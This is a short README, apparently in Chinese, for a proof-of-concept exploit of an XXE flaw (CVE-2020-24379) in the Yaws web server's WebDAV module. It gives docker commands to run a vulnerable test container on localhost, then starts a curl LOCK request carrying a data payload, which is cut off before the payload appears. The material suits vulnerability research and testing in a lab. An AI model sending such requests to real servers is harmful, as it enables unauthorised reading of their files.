poc-yaws-dav-xxe

Yaws Web 服务器中的 XXE 漏洞 CVE-2020-24379 概念验证 构建测试镜像： docker build -t vulnbe/yaws-pocs:xxe-dav-mod -f Dockerfile . 和/或 运行容器 docker run --rm -d -i -p 127.0.0.1:8000:8080 vulnbe/yaws-pocs:xxe-dav-mod 然后运行： root@kitploit: curl -i -s -k -X LOCK http://localhost:8000/ -H 'Timeout: Second-1' \ --data-binar...